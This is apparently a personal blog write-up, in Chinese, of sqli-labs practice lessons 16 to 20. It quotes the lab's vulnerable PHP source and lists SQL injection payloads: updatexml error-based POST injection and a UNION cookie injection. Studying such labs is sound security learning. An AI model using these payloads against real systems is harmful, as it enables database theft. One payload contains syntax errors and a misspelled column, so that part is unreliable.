sqli_labs less-16到less-20

Less-16 POST - Blind- Boolian/Time Based - Double quotes (基於bool型/時間延遲的雙引號POST型盲注)

布爾型注入,跟less-15差不多,只需要把'換成')
今天發現另一個新方式,只需要在Google的hackbar操作,比較簡單
在這裏插入圖片描述
新方法來自wkend的博客:sqli-labs練習(十五、十六)

Less-17 POST - Update Query- Error Based - String (基於錯誤的更新查詢POST注入)

這個UpdateXML(‘xml_target’,‘xpath_expr’,‘new_xml’)是個新東西

要看一下源碼

$uname = check_input($_POST['uname']);  
$passwd = $_POST['passwd'];

@$sql = "SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
    $row1 = $row['username'];   
    $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
    mysql_query($update);
    
    if (mysql_error())
        print_r(mysql_error());

    echo '<img src="../images/flag1.jpg"/>';    
}
else  
    echo '<img src="../images/slap1.jpg"/>';

從源碼中可以看到:POST接收的uname和passwd後,check_input()首先對uname查詢,若uname存在則用passwd替換password,若不存在則顯示slap1.jpg。
mysql_real_escape_string()還會在\x00, \n, \r, \, ', " and \x1a這些字符前加入反斜線進行轉義,防止注入。
suoyiyishanglai只有先猜測有一個admin,就只要用戶名正確,數據庫就能返回錯誤信息,就可以在查詢注入裏找返回信息。
分別爆破:

  1. 爆passworduname=admin&passwd=admin' and updatexml(1,concat(0x7e,version(),0x7e),1)--+&Submit
  2. 爆庫payloaduname=admin&passwd=admin' and updatexml(1,concat(0x7e,database(),0x7e),1)--+&Submit
  3. 爆表uname=admin&passwd=admin' and updatexml(1,concat(0x7e,select group_concat(table_name)from information_schema.tables where table_achema=database()),0x7e),1)--+&submit=Submit
  4. 爆列uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','user','first_name','last_name','avatar','last_login','failed_login')),0x7e),1) --+ &submit=Submit

Less-18 POST - Header Injection - Uagent field - Error based (基於錯誤的用戶代理,頭部POST注入)

簡單嘗試了一下注入,結果都一樣,琢磨着和less-17一樣。
源碼顯示但是把passwo也做了check。還涉及了一個HTTP請求頭。並且會回顯IP。登陸成功後回顯uagent,並將uagent、IP、uname插入到security數據庫的uagents表的uagent、ip_address、username三個字段中。
所以
不會做

Less-19 POST - Header Injection - Referer field - Error based (基於頭部的Referer POST報錯注入)

和less-18一樣,注入是refer
所以,也不會做

Less-20 POST - Cookie injections - Uagent field - Error based (基於錯誤的cookie頭部POST注入)

php源碼提到了查詢語句查詢$cookee,所以就在cookies裏面進行注入,頁面顯示用戶名是admin,應該就沒錯了。
爆庫
Cookie: uname=-admin' union select 1,2,database()--+頁面顯示password說明爆破成功,之後就和前面一樣修改一下playload繼續爆就行。
今天兩道題沒做出來,生氣了

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章